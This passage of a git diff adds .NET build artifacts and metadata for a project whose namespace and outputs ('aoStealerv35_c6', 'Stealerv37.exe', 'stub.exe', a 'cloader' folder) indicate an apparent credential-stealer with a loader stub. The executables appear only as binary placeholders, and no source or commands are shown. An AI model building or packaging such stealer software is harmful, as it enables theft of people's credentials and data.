+C:\Users\000\Desktop\reinstall\clowns\bin\Release\net472\Stealerv37.exe +C:\Users\000\Desktop\reinstall\clowns\bin\Release\net472\Stealerv37.pdb +C:\Users\000\Desktop\reinstall\clowns\obj\Release\net472\aoStealerv35_c6.csproj.AssemblyReference.cache +C:\Users\000\Desktop\reinstall\clowns\obj\Release\net472\aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\000\Desktop\reinstall\clowns\obj\Release\net472\aoStealerv35_c6.csproj.CoreCompileInputs.cache +C:\Users\000\Desktop\reinstall\clowns\obj\Release\net472\Stealerv37.exe +C:\Users\000\Desktop\reinstall\clowns\obj\Release\net472\Stealerv37.pdb diff --git a/obj/Release/net48/.NETFramework,Version=v4.8.AssemblyAttributes.cs b/obj/Release/net48/.NETFramework,Version=v4.8.AssemblyAttributes.cs new file mode 100644 index 0000000..3cf0af3 --- /dev/null +++ b/obj/Release/net48/.NETFramework,Version=v4.8.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")] diff --git a/obj/Release/net48/._Stealerv37.exe b/obj/Release/net48/._Stealerv37.exe new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net48/._Stealerv37.exe differ diff --git a/obj/Release/net48/._Stealerv37.exe.withSupportedRuntime.config b/obj/Release/net48/._Stealerv37.exe.withSupportedRuntime.config new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net48/._Stealerv37.exe.withSupportedRuntime.config differ diff --git a/obj/Release/net48/._Stealerv37.pdb b/obj/Release/net48/._Stealerv37.pdb new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net48/._Stealerv37.pdb differ diff --git a/obj/Release/net48/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Release/net48/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net48/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig differ diff --git a/obj/Release/net48/._aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Release/net48/._aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net48/._aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/Release/net48/._aoStealerv35_c6.csproj.CoreCompileInputs.cache b/obj/Release/net48/._aoStealerv35_c6.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net48/._aoStealerv35_c6.csproj.CoreCompileInputs.cache differ diff --git a/obj/Release/net48/._aoStealerv35_c6.csproj.FileListAbsolute.txt b/obj/Release/net48/._aoStealerv35_c6.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net48/._aoStealerv35_c6.csproj.FileListAbsolute.txt differ diff --git a/obj/Release/net48/._stub.exe.withSupportedRuntime.config b/obj/Release/net48/._stub.exe.withSupportedRuntime.config new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net48/._stub.exe.withSupportedRuntime.config differ diff --git a/obj/Release/net48/Stealerv37.exe b/obj/Release/net48/Stealerv37.exe new file mode 100644 index 0000000..7da1a77 Binary files /dev/null and b/obj/Release/net48/Stealerv37.exe differ diff --git a/obj/Release/net48/Stealerv37.exe.config b/obj/Release/net48/Stealerv37.exe.config new file mode 100644 index 0000000..ef94b7c --- /dev/null +++ b/obj/Release/net48/Stealerv37.exe.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/obj/Release/net48/Stealerv37.exe.withSupportedRuntime.config b/obj/Release/net48/Stealerv37.exe.withSupportedRuntime.config new file mode 100644 index 0000000..ef94b7c --- /dev/null +++ b/obj/Release/net48/Stealerv37.exe.withSupportedRuntime.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/obj/Release/net48/Stealerv37.pdb b/obj/Release/net48/Stealerv37.pdb new file mode 100644 index 0000000..e9b4f64 Binary files /dev/null and b/obj/Release/net48/Stealerv37.pdb differ diff --git a/obj/Release/net48/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Release/net48/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..3ad89f7 --- /dev/null +++ b/obj/Release/net48/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,14 @@ +is_global = true +build_property.ApplicationManifest = app.manifest +build_property.StartupObject = +build_property.ApplicationDefaultFont = +build_property.ApplicationHighDpiMode = +build_property.ApplicationUseCompatibleTextRendering = +build_property.ApplicationVisualStyles = +build_property.RootNamespace = aoStealerv35_c6 +build_property.ProjectDir = C:\Users\000\Desktop\cloader\Code-Cave-master\Code Cave\Release\pord\xuy\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = +build_property.EnableCodeStyleSeverity = diff --git a/obj/Release/net48/aoStealerv35_c6.assets.cache b/obj/Release/net48/aoStealerv35_c6.assets.cache new file mode 100644 index 0000000..a52a0b4 Binary files /dev/null and b/obj/Release/net48/aoStealerv35_c6.assets.cache differ diff --git a/obj/Release/net48/aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Release/net48/aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..42c2d14 Binary files /dev/null and b/obj/Release/net48/aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/Release/net48/aoStealerv35_c6.csproj.CoreCompileInputs.cache b/obj/Release/net48/aoStealerv35_c6.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..8ce0240 --- /dev/null +++ b/obj/Release/net48/aoStealerv35_c6.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +8d7e89a79ee5ae32195b9ee08a5212f988002bc2607159adf261eaf7420bb3ad diff --git a/obj/Release/net48/aoStealerv35_c6.csproj.FileListAbsolute.txt b/obj/Release/net48/aoStealerv35_c6.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..ebd00e7 --- /dev/null +++ b/obj/Release/net48/aoStealerv35_c6.csproj.FileListAbsolute.txt @@ -0,0 +1,17 @@ +C:\Users\000\Desktop\reinstall\clowns\bin\Release\net48\Stealerv37.exe.config +C:\Users\000\Desktop\reinstall\clowns\bin\Release\net48\Stealerv37.exe +C:\Users\000\Desktop\reinstall\clowns\bin\Release\net48\Stealerv37.pdb +C:\Users\000\Desktop\reinstall\clowns\obj\Release\net48\aoStealerv35_c6.csproj.AssemblyReference.cache +C:\Users\000\Desktop\reinstall\clowns\obj\Release\net48\aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\000\Desktop\reinstall\clowns\obj\Release\net48\aoStealerv35_c6.csproj.CoreCompileInputs.cache +C:\Users\000\Desktop\reinstall\clowns\obj\Release\net48\Stealerv37.exe +C:\Users\000\Desktop\reinstall\clowns\obj\Release\net48\Stealerv37.pdb +C:\Users\000\Desktop\reinstall\clowns\obj\Release\net48\Stealerv37.exe.config +C:\Users\000\Desktop\cloader\Code-Cave-master\Code Cave\Release\pord\xuy\bin\Release\net48\stub.exe.config +C:\Users\000\Desktop\cloader\Code-Cave-master\Code Cave\Release\pord\xuy\bin\Release\net48\stub.exe +C:\Users\000\Desktop\cloader\Code-Cave-master\Code Cave\Release\pord\xuy\bin\Release\net48\stub.pdb +C:\Users\000\Desktop\cloader\Code-Cave-master\Code Cave\Release\pord\xuy\obj\Release\net48\aoStealerv35_c6.csproj.AssemblyReference.cache +C:\Users\000\Desktop\cloader\Code-Cave-master\Code Cave\Release\pord\xuy\obj\Release\net48\aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\000\Desktop\cloader\Code-Cave-master\Code Cave\Release\pord\xuy\obj\Release\net48\aoStealerv35_c6.csproj.CoreCompileInputs.cache +C:\Users\000\Desktop\cloader\Code-Cave-master\Code Cave\Release\pord\xuy\obj\Release\net48\stub.exe +C:\Users\000\Desktop\cloader\Code-Cave-master\Code Cave\Release\pord\xuy\obj\Release\net48\stub.pdb diff --git a/obj/Release/net48/stub.exe b/obj/Release/net48/stub.exe new file mode 100644 index 0000000..982365e Binary files /dev/null and b/obj/Release/net48/stub.exe differ diff --git a/obj/Release/net48/stub.exe.withSupportedRuntime.config b/obj/Release/net48/stub.exe.withSupportedRuntime.config new file mode 100644 index 0000000..ef94b7c --- /dev/null +++ b/obj/Release/net48/stub.exe.withSupportedRuntime.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/obj/Release/net48/stub.pdb b/obj/Release/net48/stub.pdb new file mode 100644 index 0000000..c5b8780 Binary files /dev/null and b/obj/Release/net48/stub.pdb differ diff --git a/obj/Release/net48/win-x64/.NETFramework,Version=v4.8.AssemblyAttributes.cs b/obj/Release/net48/win-x64/.NETFramework,Version=v4.8.AssemblyAttributes.cs new file mode 100644 index 0000000..9da2331 --- /dev/null +++ b/obj/Release/net48/win-x64/.NETFramework,Version=v4.8.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")] diff --git a/obj/Release/net48/win-x64/PublishOutputs.d313b25ebf.txt b/obj/Release/net48/win-x64/PublishOutputs.d313b25ebf.txt new file mode 100644 index 0000000..dc1e6e9 --- /dev/null +++ b/obj/Release/net48/win-x64/PublishOutputs.d313b25ebf.txt @@ -0,0 +1,3 @@ +/Users/jessiepinkmen/Desktop/Intellix/bin/Release/net48/win-x64/publish/stub.exe +/Users/jessiepinkmen/Desktop/Intellix/bin/Release/net48/win-x64/publish/stub.exe.config +/Users/jessiepinkmen/Desktop/Intellix/bin/Release/net48/win-x64/publish/stub.pdb diff --git a/obj/Release/net48/win-x64/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Release/net48/win-x64/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..3c5758c --- /dev/null +++ b/obj/Release/net48/win-x64/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,11 @@ +is_global = true +build_property.ApplicationManifest = app.manifest +build_property.StartupObject = +build_property.ApplicationDefaultFont = +build_property.ApplicationHighDpiMode = +build_property.ApplicationUseCompatibleTextRendering = +build_property.ApplicationVisualStyles = +build_property.RootNamespace = aoStealerv35_c6 +build_property.ProjectDir = /Users/jessiepinkmen/Desktop/Intellix/ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = diff --git a/obj/Release/net48/win-x64/aoStealerv35_c6.assets.cache b/obj/Release/net48/win-x64/aoStealerv35_c6.assets.cache new file mode 100644 index 0000000..97aeaa5 Binary files /dev/null and b/obj/Release/net48/win-x64/aoStealerv35_c6.assets.cache differ diff --git a/obj/Release/net48/win-x64/aoStealerv35_c6.csproj.CoreCompileInputs.cache b/obj/Release/net48/win-x64/aoStealerv35_c6.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..770e301 --- /dev/null +++ b/obj/Release/net48/win-x64/aoStealerv35_c6.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +0ff5fda89b3dffd311bcca5ac33c1e492d84311e64df2ad49de096dab0010244 diff --git a/obj/Release/net48/win-x64/aoStealerv35_c6.csproj.FileListAbsolute.txt b/obj/Release/net48/win-x64/aoStealerv35_c6.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..47a6d5a --- /dev/null +++ b/obj/Release/net48/win-x64/aoStealerv35_c6.csproj.FileListAbsolute.txt @@ -0,0 +1,7 @@ +/Users/jessiepinkmen/Desktop/Intellix/bin/Release/net48/win-x64/stub.exe.config +/Users/jessiepinkmen/Desktop/Intellix/bin/Release/net48/win-x64/stub.exe +/Users/jessiepinkmen/Desktop/Intellix/bin/Release/net48/win-x64/stub.pdb +/Users/jessiepinkmen/Desktop/Intellix/obj/Release/net48/win-x64/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig +/Users/jessiepinkmen/Desktop/Intellix/obj/Release/net48/win-x64/aoStealerv35_c6.csproj.CoreCompileInputs.cache +/Users/jessiepinkmen/Desktop/Intellix/obj/Release/net48/win-x64/stub.exe +/Users/jessiepinkmen/Desktop/Intellix/obj/Release/net48/win-x64/stub.pdb diff --git a/obj/Release/net48/win-x64/stub.exe b/obj/Release/net48/win-x64/stub.exe new file mode 100644 index 0000000..0fff126 Binary files /dev/null and b/obj/Release/net48/win-x64/stub.exe differ diff --git a/obj/Release/net48/win-x64/stub.exe.withSupportedRuntime.config b/obj/Release/net48/win-x64/stub.exe.withSupportedRuntime.config new file mode 100644 index 0000000..8e342a9 --- /dev/null +++ b/obj/Release/net48/win-x64/stub.exe.withSupportedRuntime.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/obj/Release/net48/win-x64/stub.pdb b/obj/Release/net48/win-x64/stub.pdb new file mode 100644 index 0000000..a844ecf Binary files /dev/null and b/obj/Release/net48/win-x64/stub.pdb differ diff --git a/obj/Release/net8.0-windows/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs b/obj/Release/net8.0-windows/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs new file mode 100644 index 0000000..678fc5f --- /dev/null +++ b/obj/Release/net8.0-windows/.NETCoreApp,Version=v8.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v8.0", FrameworkDisplayName = ".NET 8.0")] diff --git a/obj/Release/net8.0-windows/._.NETCoreApp,Version=v8.0.AssemblyAttributes.cs b/obj/Release/net8.0-windows/._.NETCoreApp,Version=v8.0.AssemblyAttributes.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net8.0-windows/._.NETCoreApp,Version=v8.0.AssemblyAttributes.cs differ diff --git a/obj/Release/net8.0-windows/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Release/net8.0-windows/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net8.0-windows/._aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig differ diff --git a/obj/Release/net8.0-windows/._aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Release/net8.0-windows/._aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net8.0-windows/._aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/Release/net8.0-windows/._ref b/obj/Release/net8.0-windows/._ref new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net8.0-windows/._ref differ diff --git a/obj/Release/net8.0-windows/._refint b/obj/Release/net8.0-windows/._refint new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/obj/Release/net8.0-windows/._refint differ diff --git a/obj/Release/net8.0-windows/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig b/obj/Release/net8.0-windows/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..badf3ce --- /dev/null +++ b/obj/Release/net8.0-windows/aoStealerv35_c6.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,22 @@ +is_global = true +build_property.ApplicationManifest = app.manifest +build_property.StartupObject = +build_property.ApplicationDefaultFont = +build_property.ApplicationHighDpiMode = +build_property.ApplicationUseCompatibleTextRendering = +build_property.ApplicationVisualStyles = +build_property.TargetFramework = net8.0-windows +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = aoStealerv35_c6 +build_property.ProjectDir = C:\Users\000\Desktop\reinstall\clowns\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 8.0 +build_property.EnableCodeStyleSeverity = diff --git a/obj/Release/net8.0-windows/aoStealerv35_c6.assets.cache b/obj/Release/net8.0-windows/aoStealerv35_c6.assets.cache new file mode 100644 index 0000000..4cd3b12 Binary files /dev/null and b/obj/Release/net8.0-windows/aoStealerv35_c6.assets.cache differ diff --git a/obj/Release/net8.0-windows/aoStealerv35_c6.csproj.AssemblyReference.cache b/obj/Release/net8.0-windows/aoStealerv35_c6.csproj.AssemblyReference.cache new file mode 100644 index 0000000..bb62e7c Binary files /dev/null and b/obj/Release/net8.0-windows/aoStealerv35_c6.csproj.AssemblyReference.cache differ diff --git a/obj/aoStealerv35_c6.csproj.nuget.dgspec.json b/obj/aoStealerv35_c6.csproj.nuget.dgspec.json new file mode 100644 index 0000000..dbe9fbd --- /dev/null +++ b/obj/aoStealerv35_c6.csproj.nuget.dgspec.json @@ -0,0 +1,63 @@ +{ + "format": 1, + "restore": { + "/Users/jessiepinkmen/Desktop/Intellix/aoStealerv35_c6.csproj": {} + }, + "projects": { + "/Users/jessiepinkmen/Desktop/Intellix/aoStealerv35_c6.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "/Users/jessiepinkmen/Desktop/Intellix/aoStealerv35_c6.csproj", + "projectName": "stub", + "projectPath": "/Users/jessiepinkmen/Desktop/Intellix/aoStealerv35_c6.csproj", + "packagesPath": "/Users/jessiepinkmen/.nuget/packages/", + "outputPath": "/Users/jessiepinkmen/Desktop/Intellix/obj/", + "projectStyle": "PackageReference", + "configFilePaths": [ + "/Users/jessiepinkmen/.nuget/NuGet/NuGet.Config" + ], + "originalTargetFrameworks": [ + "net48" + ], + "sources": { + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net48": { + "targetAlias": "net48", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + } + }, + "frameworks": { + "net48": { + "targetAlias": "net48", + "dependencies": { + "Microsoft.NETFramework.ReferenceAssemblies": { + "suppressParent": "All", + "target": "Package", + "version": "[1.0.3, )", + "autoReferenced": true + } + }, + "runtimeIdentifierGraphPath": "/Users/jessiepinkmen/.dotnet/sdk/8.0.419/RuntimeIdentifierGraph.json" + } + }, + "runtimes": { + "win-x64": { + "#import": [] + } + } + } + } +} \ No newline at end of file diff --git a/obj/aoStealerv35_c6.csproj.nuget.g.props b/obj/aoStealerv35_c6.csproj.nuget.g.props new file mode 100644 index 0000000..3a4e764 --- /dev/null +++ b/obj/aoStealerv35_c6.csproj.nuget.g.props @@ -0,0 +1,15 @@ + + + + True + NuGet + $(MSBuildThisFileDirectory)project.assets.json + /Users/jessiepinkmen/.nuget/packages/ + /Users/jessiepinkmen/.nuget/packages/ + PackageReference + 6.11.1 + + + + + \ No newline at end of file diff --git a/obj/aoStealerv35_c6.csproj.nuget.g.targets b/obj/aoStealerv35_c6.csproj.nuget.g.targets new file mode 100644 index 0000000..7f5172a --- /dev/null +++ b/obj/aoStealerv35_c6.csproj.nuget.g.targets @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/obj/project.assets.json b/obj/project.assets.json new file mode 100644 index 0000000..9e9fdf4 --- /dev/null +++ b/obj/project.assets.json @@ -0,0 +1,497 @@ +{ + "version": 3, + "targets": { + ".NETFramework,Version=v4.8": { + "Microsoft.NETFramework.ReferenceAssemblies/1.0.3": { + "type": "package", + "dependencies": { + "Microsoft.NETFramework.ReferenceAssemblies.net48": "1.0.3" + } + }, + "Microsoft.NETFramework.ReferenceAssemblies.net48/1.0.3": { + "type": "package", + "build": { + "build/Microsoft.NETFramework.ReferenceAssemblies.net48.targets": {} + } + } + }, + ".NETFramework,Version=v4.8/win-x64": { + "Microsoft.NETFramework.ReferenceAssemblies/1.0.3": { + "type": "package", + "dependencies": { + "Microsoft.NETFramework.ReferenceAssemblies.net48": "1.0.3" + } + }, + "Microsoft.NETFramework.ReferenceAssemblies.net48/1.0.3": { + "type": "package", + "build": { + "build/Microsoft.NETFramework.ReferenceAssemblies.net48.targets": {} + } + } + } + }, + "libraries": { + "Microsoft.NETFramework.ReferenceAssemblies/1.0.3": { + "sha512": "vUc9Npcs14QsyOD01tnv/m8sQUnGTGOw1BCmKcv77LBJY7OxhJ+zJF7UD/sCL3lYNFuqmQEVlkfS4Quif6FyYg==", + "type": "package", + "path": "microsoft.netframework.referenceassemblies/1.0.3", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "microsoft.netframework.referenceassemblies.1.0.3.nupkg.sha512", + "microsoft.netframework.referenceassemblies.nuspec" + ] + }, + "Microsoft.NETFramework.ReferenceAssemblies.net48/1.0.3": { + "sha512": "zMk4D+9zyiEWByyQ7oPImPN/Jhpj166Ky0Nlla4eXlNL8hI/BtSJsgR8Inldd4NNpIAH3oh8yym0W2DrhXdSLQ==", + "type": "package", + "path": "microsoft.netframework.referenceassemblies.net48/1.0.3", + "files": [ + ".nupkg.metadata", + ".signature.p7s", + "build/.NETFramework/v4.8/Accessibility.dll", + "build/.NETFramework/v4.8/Accessibility.xml", + "build/.NETFramework/v4.8/CustomMarshalers.dll", + "build/.NETFramework/v4.8/CustomMarshalers.xml", + "build/.NETFramework/v4.8/Facades/Microsoft.Win32.Primitives.dll", + "build/.NETFramework/v4.8/Facades/System.AppContext.dll", + "build/.NETFramework/v4.8/Facades/System.Collections.Concurrent.dll", + "build/.NETFramework/v4.8/Facades/System.Collections.NonGeneric.dll", + "build/.NETFramework/v4.8/Facades/System.Collections.Specialized.dll", + "build/.NETFramework/v4.8/Facades/System.Collections.dll", + "build/.NETFramework/v4.8/Facades/System.ComponentModel.Annotations.dll", + "build/.NETFramework/v4.8/Facades/System.ComponentModel.EventBasedAsync.dll", + "build/.NETFramework/v4.8/Facades/System.ComponentModel.Primitives.dll", + "build/.NETFramework/v4.8/Facades/System.ComponentModel.TypeConverter.dll", + "build/.NETFramework/v4.8/Facades/System.ComponentModel.dll", + "build/.NETFramework/v4.8/Facades/System.Console.dll", + "build/.NETFramework/v4.8/Facades/System.Data.Common.dll", + "build/.NETFramework/v4.8/Facades/System.Diagnostics.Contracts.dll", + "build/.NETFramework/v4.8/Facades/System.Diagnostics.Debug.dll", + "build/.NETFramework/v4.8/Facades/System.Diagnostics.FileVersionInfo.dll", + "build/.NETFramework/v4.8/Facades/System.Diagnostics.Process.dll", + "build/.NETFramework/v4.8/Facades/System.Diagnostics.StackTrace.dll", + "build/.NETFramework/v4.8/Facades/System.Diagnostics.TextWriterTraceListener.dll", + "build/.NETFramework/v4.8/Facades/System.Diagnostics.Tools.dll", + "build/.NETFramework/v4.8/Facades/System.Diagnostics.TraceSource.dll", + "build/.NETFramework/v4.8/Facades/System.Drawing.Primitives.dll", + "build/.NETFramework/v4.8/Facades/System.Dynamic.Runtime.dll", + "build/.NETFramework/v4.8/Facades/System.Globalization.Calendars.dll", + "build/.NETFramework/v4.8/Facades/System.Globalization.Extensions.dll", + "build/.NETFramework/v4.8/Facades/System.Globalization.dll", + "build/.NETFramework/v4.8/Facades/System.IO.Compression.ZipFile.dll", + "build/.NETFramework/v4.8/Facades/System.IO.FileSystem.DriveInfo.dll", + "build/.NETFramework/v4.8/Facades/System.IO.FileSystem.Primitives.dll", + "build/.NETFramework/v4.8/Facades/System.IO.FileSystem.Watcher.dll", + "build/.NETFramework/v4.8/Facades/System.IO.FileSystem.dll", + "build/.NETFramework/v4.8/Facades/System.IO.IsolatedStorage.dll", + "build/.NETFramework/v4.8/Facades/System.IO.MemoryMappedFiles.dll", + "build/.NETFramework/v4.8/Facades/System.IO.Pipes.dll", + "build/.NETFramework/v4.8/Facades/System.IO.UnmanagedMemoryStream.dll", + "build/.NETFramework/v4.8/Facades/System.IO.dll", + "build/.NETFramework/v4.8/Facades/System.Linq.Expressions.dll", + "build/.NETFramework/v4.8/Facades/System.Linq.Parallel.dll", + "build/.NETFramework/v4.8/Facades/System.Linq.Queryable.dll", + "build/.NETFramework/v4.8/Facades/System.Linq.dll", + "build/.NETFramework/v4.8/Facades/System.Net.Http.Rtc.dll", + "build/.NETFramework/v4.8/Facades/System.Net.NameResolution.dll", + "build/.NETFramework/v4.8/Facades/System.Net.NetworkInformation.dll", + "build/.NETFramework/v4.8/Facades/System.Net.Ping.dll", + "build/.NETFramework/v4.8/Facades/System.Net.Primitives.dll", + "build/.NETFramework/v4.8/Facades/System.Net.Requests.dll", + "build/.NETFramework/v4.8/Facades/System.Net.Security.dll", + "build/.NETFramework/v4.8/Facades/System.Net.Sockets.dll", + "build/.NETFramework/v4.8/Facades/System.Net.WebHeaderCollection.dll", + "build/.NETFramework/v4.8/Facades/System.Net.WebSockets.Client.dll", + "build/.NETFramework/v4.8/Facades/System.Net.WebSockets.dll", + "build/.NETFramework/v4.8/Facades/System.ObjectModel.dll", + "build/.NETFramework/v4.8/Facades/System.Reflection.Emit.ILGeneration.dll", + "build/.NETFramework/v4.8/Facades/System.Reflection.Emit.Lightweight.dll", + "build/.NETFramework/v4.8/Facades/System.Reflection.Emit.dll", + "build/.NETFramework/v4.8/Facades/System.Reflection.Extensions.dll", + "build/.NETFramework/v4.8/Facades/System.Reflection.Primitives.dll", + "build/.NETFramework/v4.8/Facades/System.Reflection.dll", + "build/.NETFramework/v4.8/Facades/System.Resources.Reader.dll", + "build/.NETFramework/v4.8/Facades/System.Resources.ResourceManager.dll", + "build/.NETFramework/v4.8/Facades/System.Resources.Writer.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.CompilerServices.VisualC.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.Extensions.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.Handles.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.InteropServices.RuntimeInformation.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.InteropServices.WindowsRuntime.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.InteropServices.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.Numerics.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.Serialization.Formatters.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.Serialization.Json.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.Serialization.Primitives.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.Serialization.Xml.dll", + "build/.NETFramework/v4.8/Facades/System.Runtime.dll", + "build/.NETFramework/v4.8/Facades/System.Security.Claims.dll", + "build/.NETFramework/v4.8/Facades/System.Security.Cryptography.Algorithms.dll", + "build/.NETFramework/v4.8/Facades/System.Security.Cryptography.Csp.dll", + "build/.NETFramework/v4.8/Facades/System.Security.Cryptography.Encoding.dll", + "build/.NETFramework/v4.8/Facades/System.Security.Cryptography.Primitives.dll", + "build/.NETFramework/v4.8/Facades/System.Security.Cryptography.X509Certificates.dll", + "build/.NETFramework/v4.8/Facades/System.Security.Principal.dll", + "build/.NETFramework/v4.8/Facades/System.Security.SecureString.dll", + "build/.NETFramework/v4.8/Facades/System.ServiceModel.Duplex.dll", + "build/.NETFramework/v4.8/Facades/System.ServiceModel.Http.dll", + "build/.NETFramework/v4.8/Facades/System.ServiceModel.NetTcp.dll", + "build/.NETFramework/v4.8/Facades/System.ServiceModel.Primitives.dll", + "build/.NETFramework/v4.8/Facades/System.ServiceModel.Security.dll", + "build/.NETFramework/v4.8/Facades/System.Text.Encoding.Extensions.dll", + "build/.NETFramework/v4.8/Facades/System.Text.Encoding.dll", + "build/.NETFramework/v4.8/Facades/System.Text.RegularExpressions.dll", + "build/.NETFramework/v4.8/Facades/System.Threading.Overlapped.dll", + "build/.NETFramework/v4.8/Facades/System.Threading.Tasks.Parallel.dll", + "build/.NETFramework/v4.8/Facades/System.Threading.Tasks.dll", + "build/.NETFramework/v4.8/Facades/System.Threading.Thread.dll", + "build/.NETFramework/v4.8/Facades/System.Threading.ThreadPool.dll", + "build/.NETFramework/v4.8/Facades/System.Threading.Timer.dll", + "build/.NETFramework/v4.8/Facades/System.Threading.dll", + "build/.NETFramework/v4.8/Facades/System.ValueTuple.dll", + "build/.NETFramework/v4.8/Facades/System.Xml.ReaderWriter.dll", + "build/.NETFramework/v4.8/Facades/System.Xml.XDocument.dll", + "build/.NETFramework/v4.8/Facades/System.Xml.XPath.XDocument.dll", + "build/.NETFramework/v4.8/Facades/System.Xml.XPath.dll", + "build/.NETFramework/v4.8/Facades/System.Xml.XmlDocument.dll", + "build/.NETFramework/v4.8/Facades/System.Xml.XmlSerializer.dll", + "build/.NETFramework/v4.8/Facades/netstandard.dll", + "build/.NETFramework/v4.8/ISymWrapper.dll", + "build/.NETFramework/v4.8/ISymWrapper.xml", + "build/.NETFramework/v4.8/Microsoft.Activities.Build.dll", + "build/.NETFramework/v4.8/Microsoft.Activities.Build.xml", + "build/.NETFramework/v4.8/Microsoft.Build.Conversion.v4.0.dll", + "build/.NETFramework/v4.8/Microsoft.Build.Conversion.v4.0.xml", + "build/.NETFramework/v4.8/Microsoft.Build.Engine.dll", + "build/.NETFramework/v4.8/Microsoft.Build.Engine.xml", + 